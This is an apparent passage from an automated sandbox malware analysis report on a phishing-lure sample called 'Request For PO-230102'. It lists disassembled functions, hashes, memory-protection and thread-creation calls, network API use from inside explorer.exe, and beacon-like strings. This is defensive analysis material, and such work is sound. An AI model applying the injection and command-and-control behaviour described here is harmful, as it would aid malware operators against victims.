                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                                                                                                                                                                                            • Instruction ID: 77b8beae4a28986b96b67566907d6afa8240a6c534fa2fe420176292c5d37bc4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                                                                                                                                                                                            • Instruction Fuzzy Hash:
                                                                                                                                                                                                            Function 015E2890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ___swprintf_l
                                                                                                                                                                                                            • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                                                                                                                                                                            • API String ID: 48624451-2108815105
                                                                                                                                                                                                            • Opcode ID: 330c1ad558e58612efa87d7167b275dc8ec98c666b876f25348a944aa08fd141
                                                                                                                                                                                                            • Instruction ID: 1086b1e93a157f635e3547459174d4960ddaed1900142110c391427b14a4d478
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 330c1ad558e58612efa87d7167b275dc8ec98c666b876f25348a944aa08fd141
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 985116B6E04256AFCB15DFAC8C8497EFBFCBB48240B548169F455DB649D334DE4087A0
                                                                                                                                                                                                            Function 01652410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ___swprintf_l
                                                                                                                                                                                                            • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                                                                                                                                                                            • API String ID: 48624451-2108815105
                                                                                                                                                                                                            • Opcode ID: 00cfebeb43dede21c6cbb94e61292669edac3947fdd2d9f2393dcbca8799a58a
                                                                                                                                                                                                            • Instruction ID: 25880c8c99db5c2caf385e76717894a4c3adbd8574b40d1feb5fd1783398754a
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 00cfebeb43dede21c6cbb94e61292669edac3947fdd2d9f2393dcbca8799a58a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2D51E675A00646EECB64DF6CCCA097EBBF9EB44204F04845DE9D6D7642E7B4DA408760
                                                                                                                                                                                                            Function 015D7630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • CLIENT(ntdll): Processing section info %ws..., xrefs: 01614787
                                                                                                                                                                                                            • CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 016146FC
                                                                                                                                                                                                            • CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 01614725
                                                                                                                                                                                                            • CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 01614655
                                                                                                                                                                                                            • ExecuteOptions, xrefs: 016146A0
                                                                                                                                                                                                            • CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 01614742
                                                                                                                                                                                                            • Execute=1, xrefs: 01614713
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
                                                                                                                                                                                                            • API String ID: 0-484625025
                                                                                                                                                                                                            • Opcode ID: 3df0f738fcf051c52f9863b83bbb06b36a9b3ba543be2226ed3df548dcc35fc9
                                                                                                                                                                                                            • Instruction ID: 3e3af68dcfec34329da07cc4a737dba287b182ec3f5d4faacc26ed7f564bcd3b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3df0f738fcf051c52f9863b83bbb06b36a9b3ba543be2226ed3df548dcc35fc9
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FB510A31A0021A7AEF21EAADDC85FAD7BB8FF59708F140499D505AF181EB709A41CF50
                                                                                                                                                                                                            Function 01676940 Relevance: 9.4, APIs: 6, Instructions: 416COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 2a48bdd4d8ea14c469ad441b94cf96c101b09c67394ceba66eb56f2a3b9e53c1
                                                                                                                                                                                                            • Instruction ID: c3d9a0ad121311c15e6bac2221be187e4645d4cbbee304d686ae8ec8fd646ba7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2a48bdd4d8ea14c469ad441b94cf96c101b09c67394ceba66eb56f2a3b9e53c1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: AE022571508742AFE309DF18C894A6BBBE5FFD8704F04896DF9898B264DB31E905CB52
                                                                                                                                                                                                            Function 015EB5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: __aulldvrm
                                                                                                                                                                                                            • String ID: +$-$0$0
                                                                                                                                                                                                            • API String ID: 1302938615-699404926
                                                                                                                                                                                                            • Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                                                                                                                                                                            • Instruction ID: e1238378e3c1e77f0c3316ecc386b3fa13d3cec6074cdffeb004e94b30e5a8f9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7581E170E4524A8EEF2D8E6CC8587FEBBF1BF45322F18465AD851AF691C7308840CB51
                                                                                                                                                                                                            Function 016520E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ___swprintf_l
                                                                                                                                                                                                            • String ID: %%%u$[$]:%u
                                                                                                                                                                                                            • API String ID: 48624451-2819853543
                                                                                                                                                                                                            • Opcode ID: 2905ebc795567ab577073a88ce364ad14b4c7e0c7208a1d6eed577e5a7b97f20
                                                                                                                                                                                                            • Instruction ID: c842170e35986ad51c37ec74d1d55b2c52a8e06e595a5fe0a8b6256c5b42a2e1
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2905ebc795567ab577073a88ce364ad14b4c7e0c7208a1d6eed577e5a7b97f20
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1721837AE0011AEBDB60DF79CC50ABF7BECAF54640F44011AEE05D7200E7309A118BA1
                                                                                                                                                                                                            Function 015CF5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 016102BD
                                                                                                                                                                                                            • RTL: Re-Waiting, xrefs: 0161031E
                                                                                                                                                                                                            • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 016102E7
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
                                                                                                                                                                                                            • API String ID: 0-2474120054
                                                                                                                                                                                                            • Opcode ID: 0f28f042852cd4302a4662dd521a550588369d1bb20ee0c3d5e97116fe120659
                                                                                                                                                                                                            • Instruction ID: 64febbf7df254bfb85ed83b33eea6c0f49853955504cc92aca84194f2cc415c5
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0f28f042852cd4302a4662dd521a550588369d1bb20ee0c3d5e97116fe120659
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 81E1CE306047429FDB25CF68C884B6ABBE2BB84B14F144A5EF5A5CB3E1D774D885CB42
                                                                                                                                                                                                            Function 015DBED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • RTL: Resource at %p, xrefs: 01617B8E
                                                                                                                                                                                                            • RTL: Re-Waiting, xrefs: 01617BAC
                                                                                                                                                                                                            • RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 01617B7F
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                                                                                                                                                                            • API String ID: 0-871070163
                                                                                                                                                                                                            • Opcode ID: 55d8ce24d3739bd335f2c18d4be00d4987b8a359d75a8f9fb6a0488ec9351db5
                                                                                                                                                                                                            • Instruction ID: 0c8c17f94cb2cd066512bf40a010c79ae9a0a9fe538678b62cf79dd07a5dfe89
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 55d8ce24d3739bd335f2c18d4be00d4987b8a359d75a8f9fb6a0488ec9351db5
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E641C0317017039FDB20DE2DCC40B6AB7E6FB9A710F100A5DE9569B280DB71E5058B91
                                                                                                                                                                                                            Function 015DB4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0161728C
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • RTL: Resource at %p, xrefs: 016172A3
                                                                                                                                                                                                            • RTL: Re-Waiting, xrefs: 016172C1
                                                                                                                                                                                                            • RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 01617294
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                                                                                                                                                                                            • String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                                                                                                                                                                            • API String ID: 885266447-605551621
                                                                                                                                                                                                            • Opcode ID: 7a7ae82eff832ce83d77fe64e77a2e15cff419c62f3f541ee94ad7b67a8bd797
                                                                                                                                                                                                            • Instruction ID: 914b7eb546666c05b54a7c9063245dda64420d117e68e67eda51351d8d1a3491
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7a7ae82eff832ce83d77fe64e77a2e15cff419c62f3f541ee94ad7b67a8bd797
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0641D031600616ABD721DE29CC41FAAB7A6FF95710F14861DF955EB340DB21E8428BD1
                                                                                                                                                                                                            Function 01652300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ___swprintf_l
                                                                                                                                                                                                            • String ID: %%%u$]:%u
                                                                                                                                                                                                            • API String ID: 48624451-3050659472
                                                                                                                                                                                                            • Opcode ID: 638b12263eea15451a7ae2fd5ed56937fc31de904e378891779fe0fa9dca57eb
                                                                                                                                                                                                            • Instruction ID: 7227dc3ed0f7c235fcaaaf713d5b87da17d1a76bc6233c8913d78b874d4d7806
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 638b12263eea15451a7ae2fd5ed56937fc31de904e378891779fe0fa9dca57eb
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0B318672A0021ADFDB60DF2DCC50BEE77F8FB44610F440599ED49E7241EB30AA598BA0
                                                                                                                                                                                                            Function 015E7D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: __aulldvrm
                                                                                                                                                                                                            • String ID: +$-
                                                                                                                                                                                                            • API String ID: 1302938615-2137968064
                                                                                                                                                                                                            • Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                                                                                                                                                                            • Instruction ID: 9cbd0fc63c2d8edd8896ac6f24e52438fed25dbaed28a09d23758ee899f9d974
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FF917371E002169EEB2CDF6DC8896BEBBE5FF48720F14451AE975AF2C0E73099408791
                                                                                                                                                                                                            Function 015A9126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: $$@
                                                                                                                                                                                                            • API String ID: 0-1194432280
                                                                                                                                                                                                            • Opcode ID: a79f6badd34e1708eb222fbc6d7d80865972df8e8e48415d7818b05a86daa212
                                                                                                                                                                                                            • Instruction ID: dd3dc1783d25360d4061558543ee3ed48abc0dbf094956145853f80ea9688a05
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a79f6badd34e1708eb222fbc6d7d80865972df8e8e48415d7818b05a86daa212
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C1811C71D4027A9BDB368F54CC54BEEB6B8BF48754F0045EAAA19B7280D7305E84CF64

                                                                                                                                                                                                            Execution Graph

                                                                                                                                                                                                            Execution Coverage:1.5%
                                                                                                                                                                                                            Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                            Signature Coverage:11.4%
                                                                                                                                                                                                            Total number of Nodes:79
                                                                                                                                                                                                            Total number of Limit Nodes:9
                                                                                                                                                                                                            execution_graph 20206 fc4c8c2 20207 fc4c934 20206->20207 20208 fc4c9a6 20207->20208 20209 fc4c995 ObtainUserAgentString 20207->20209 20209->20208 20210 fc51f82 20212 fc51fb8 20210->20212 20211 fc52022 20212->20211 20215 fc52081 20212->20215 20222 fc4e5b2 20212->20222 20214 fc52134 20214->20211 20219 fc521b2 20214->20219 20225 fc4e732 20214->20225 20215->20211 20215->20214 20217 fc52117 getaddrinfo 20215->20217 20217->20214 20219->20211 20228 fc4e6b2 20219->20228 20220 fc527f4 setsockopt recv 20220->20211 20221 fc52729 20221->20211 20221->20220 20223 fc4e60a socket 20222->20223 20224 fc4e5ec 20222->20224 20223->20215 20224->20223 20226 fc4e788 connect 20225->20226 20227 fc4e76a 20225->20227 20226->20219 20227->20226 20229 fc4e705 send 20228->20229 20230 fc4e6e7 20228->20230 20229->20221 20230->20229 20231 fc52e12 20232 fc52e45 NtProtectVirtualMemory 20231->20232 20235 fc51942 20231->20235 20234 fc52e70 20232->20234 20236 fc51967 20235->20236 20236->20232 20237 fc51232 20238 fc5125c 20237->20238 20240 fc51334 20237->20240 20239 fc51410 NtCreateFile 20238->20239 20238->20240 20239->20240 20241 fc52bac 20242 fc52bb1 20241->20242 20275 fc52bb6 20242->20275 20276 fc48b72 20242->20276 20244 fc52c2c 20245 fc52c85 20244->20245 20247 fc52c54 20244->20247 20248 fc52c69 20244->20248 20244->20275 20290 fc50ab2 NtProtectVirtualMemory 20245->20290 20286 fc50ab2 NtProtectVirtualMemory 20247->20286 20249 fc52c80 20248->20249 20250 fc52c6e 20248->20250 20249->20245 20254 fc52c97 20249->20254 20288 fc50ab2 NtProtectVirtualMemory 20250->20288 20251 fc52c8d 20291 fc4a102 ObtainUserAgentString NtProtectVirtualMemory 20251->20291 20258 fc52c9c 20254->20258 20259 fc52cbe 20254->20259 20256 fc52c5c 20287 fc49ee2 ObtainUserAgentString NtProtectVirtualMemory 20256->20287 20257 fc52c76 20289 fc49fc2 ObtainUserAgentString NtProtectVirtualMemory 20257->20289 20280 fc50ab2 NtProtectVirtualMemory 20258->20280 20262 fc52cc7 20259->20262 20263 fc52cd9 20259->20263 20259->20275 20292 fc50ab2 NtProtectVirtualMemory 20262->20292 20263->20275 20294 fc50ab2 NtProtectVirtualMemory 20263->20294 20266 fc52cac 20281 fc49de2 ObtainUserAgentString 20266->20281 20267 fc52ccf 20293 fc4a2f2 ObtainUserAgentString NtProtectVirtualMemory 20267->20293 20271 fc52ce5 20295 fc4a712 ObtainUserAgentString NtProtectVirtualMemory 20271->20295 20273 fc52cb4 20282 fc46412 20273->20282 20278 fc48b93 20276->20278 20277 fc48cce 20277->20244 20278->20277 20279 fc48cb5 CreateMutexExW 20278->20279 20279->20277 20280->20266 20281->20273 20284 fc46440 20282->20284 20283 fc46473 20283->20275 20284->20283 20285 fc4644d CreateThread 20284->20285 20285->20275 20286->20256 20287->20275 20288->20257 20289->20275 20290->20251 20291->20275 20292->20267 20293->20275 20294->20271 20295->20275 20296 fc462dd 20297 fc4631a 20296->20297 20298 fc463fa 20297->20298 20299 fc46328 SleepEx 20297->20299 20303 fc50f12 7 API calls 20297->20303 20304 fc47432 NtCreateFile 20297->20304 20305 fc460f2 6 API calls 20297->20305 20299->20297 20299->20299 20303->20297 20304->20297 20305->20297

                                                                                                                                                                                                            Executed Functions

                                                                                                                                                                                                            Function 0FC51F82 Relevance: 23.6, APIs: 3, Strings: 10, Instructions: 815networkCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 0 fc51f82-fc51fb6 1 fc51fd6-fc51fd9 0->1 2 fc51fb8-fc51fbc 0->2 4 fc51fdf-fc51fed 1->4 5 fc528fe-fc5290c 1->5 2->1 3 fc51fbe-fc51fc2 2->3 3->1 6 fc51fc4-fc51fc8 3->6 7 fc528f6-fc528f7 4->7 8 fc51ff3-fc51ff7 4->8 6->1 9 fc51fca-fc51fce 6->9 7->5 10 fc51fff-fc52000 8->10 11 fc51ff9-fc51ffd 8->11 9->1 12 fc51fd0-fc51fd4 9->12 13 fc5200a-fc52010 10->13 11->10 11->13 12->1 12->4 14 fc52012-fc52020 13->14 15 fc5203a-fc52060 13->15 14->15 18 fc52022-fc52026 14->18 16 fc52062-fc52066 15->16 17 fc52068-fc5207c call fc4e5b2 15->17 16->17 20 fc520a8-fc520ab 16->20 22 fc52081-fc520a2 17->22 18->7 19 fc5202c-fc52035 18->19 19->7 23 fc52144-fc52150 20->23 24 fc520b1-fc520b8 20->24 22->20 26 fc528ee-fc528ef 22->26 25 fc52156-fc52165 23->25 23->26 27 fc520e2-fc520f5 24->27 28 fc520ba-fc520dc call fc51942 24->28 29 fc52167-fc52178 call fc4e552 25->29 30 fc5217f-fc5218f 25->30 26->7 27->26 32 fc520fb-fc52101 27->32 28->27 29->30 34 fc521e5-fc5221b 30->34 35 fc52191-fc521ad call fc4e732 30->35 32->26 37 fc52107-fc52109 32->37 40 fc5222d-fc52231 34->40 41 fc5221d-fc5222b 34->41 43 fc521b2-fc521da 35->43 37->26 42 fc5210f-fc52111 37->42 45 fc52247-fc5224b 40->45 46 fc52233-fc52245 40->46 44 fc5227f-fc52280 41->44 42->26 47 fc52117-fc52132 getaddrinfo 42->47 43->34 52 fc521dc-fc521e1 43->52 51 fc52283-fc522e0 call fc52d62 call fc4f482 call fc4ee72 call fc53002 44->51 48 fc52261-fc52265 45->48 49 fc5224d-fc5225f 45->49 46->44 47->23 50 fc52134-fc5213c 47->50 53 fc52267-fc5226b 48->53 54 fc5226d-fc52279 48->54 49->44 50->23 63 fc522f4-fc52354 call fc52d92 51->63 64 fc522e2-fc522e6 51->64 52->34 53->51 53->54 54->44 69 fc5248c-fc524b8 call fc52d62 call fc53262 63->69 70 fc5235a-fc52396 call fc52d62 call fc53262 call fc53002 63->70 64->63 66 fc522e8-fc522ef call fc4f042 64->66 66->63 79 fc524d9-fc52590 call fc53262 * 3 call fc53002 * 2 call fc4f482 69->79 80 fc524ba-fc524d5 69->80 85 fc52398-fc523b7 call fc53262 call fc53002 70->85 86 fc523bb-fc523e9 call fc53262 * 2 70->86 111 fc52595-fc525b9 call fc53262 79->111 80->79 85->86 101 fc52415-fc5241d 86->101 102 fc523eb-fc52410 call fc53002 call fc53262 86->102 105 fc52442-fc52448 101->105 106 fc5241f-fc52425 101->106 102->101 105->111 112 fc5244e-fc52456 105->112 109 fc52467-fc52487 call fc53262 106->109 110 fc52427-fc5243d 106->110 109->111 110->111 121 fc525d1-fc526ad call fc53262 * 7 call fc53002 call fc52d62 call fc53002 call fc4ee72 call fc4f042 111->121 122 fc525bb-fc525cc call fc53262 call fc53002 111->122 112->111 117 fc5245c-fc5245d 112->117 117->109 132 fc526af-fc526b3 121->132 122->132 135 fc526b5-fc526fa call fc4e382 call fc4e7b2 132->135 136 fc526ff-fc5272d call fc4e6b2 132->136 158 fc528e6-fc528e7 135->158 143 fc5275d-fc52761 136->143 144 fc5272f-fc52735 136->144 148 fc52767-fc5276b 143->148 149 fc5290d-fc52913 143->149 144->143 147 fc52737-fc5274c 144->147 147->143 152 fc5274e-fc52754 147->152 155 fc52771-fc52773 148->155 156 fc528aa-fc528df call fc4e7b2 148->156 153 fc52779-fc52784 149->153 154 fc52919-fc52920 149->154 152->143 159 fc52756 152->159 160 fc52786-fc52793 153->160 161 fc52795-fc52796 153->161 154->160 155->153 155->156 156->158 158->26 159->143 160->161 164 fc5279c-fc527a0 160->164 161->164 167 fc527b1-fc527b2 164->167 168 fc527a2-fc527af 164->168 170 fc527b8-fc527c4 167->170 168->167 168->170 173 fc527f4-fc52861 setsockopt recv 170->173 174 fc527c6-fc527ef call fc52d92 call fc52d62 170->174 177 fc528a3-fc528a4 173->177 178 fc52863 173->178 174->173 177->156 178->177 181 fc52865-fc5286a 178->181 181->177 184 fc5286c-fc52872 181->184 184->177 186 fc52874-fc528a1 184->186 186->177 186->178
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3720341858.000000000FBC0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FBC0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_fbc0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: getaddrinforecvsetsockopt
                                                                                                                                                                                                            • String ID: Co$&br=$&sql$&un=$: cl$GET $dat=$nnec$ose$tion
                                                                                                                                                                                                            • API String ID: 1564272048-1117930895
                                                                                                                                                                                                            • Opcode ID: 5de8858bceb6b52e8c11e308410fa1d1098ae4878da76a5e8b5a3db0c78a0a43
                                                                                                                                                                                                            • Instruction ID: d3d4928e85876843b929aef18dddb11a3651e50a779d46a3c6b46e53b6fff0d2
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 5de8858bceb6b52e8c11e308410fa1d1098ae4878da76a5e8b5a3db0c78a0a43
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 81526E31618B488BCB29EF68C8957E9B7E1FB54700F50462EC89BCB147DE34B589CB85
                                                                                                                                                                                                            Function 0FC51232 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 642filenativeCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
